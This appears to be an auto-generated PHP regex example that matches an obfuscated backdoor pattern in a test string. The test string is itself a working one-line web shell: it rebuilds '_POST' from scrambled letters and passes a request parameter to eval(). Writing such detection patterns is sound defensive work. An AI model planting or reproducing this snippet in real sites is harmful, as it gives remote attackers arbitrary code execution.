$re = '~<\?php\s+\$[a-z].+?strtoupper.+?isset.+?eval\s*\(\s*\${\s*\$[a-z0-9]+\s*}\s*\[\s*\'[a-z0-9]+\'\s*\]\s*\);\s*}\s*\?>\s*~m';
$str = '<?php $lin3 = "sotp_";$pim6=strtoupper( $lin3[4].$lin3[3] . $lin3[1]. $lin3[0]. $lin3[2] ) ; if (isset ( ${$pim6} [\'q23f412\' ]) ){eval( ${$pim6}[\'q23f412\' ] );} ?>';
preg_match_all($re, $str, $matches, PREG_SET_ORDER, 0);
// Print the entire match result
var_dump($matches);
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for PHP, please visit: http://php.net/manual/en/ref.pcre.php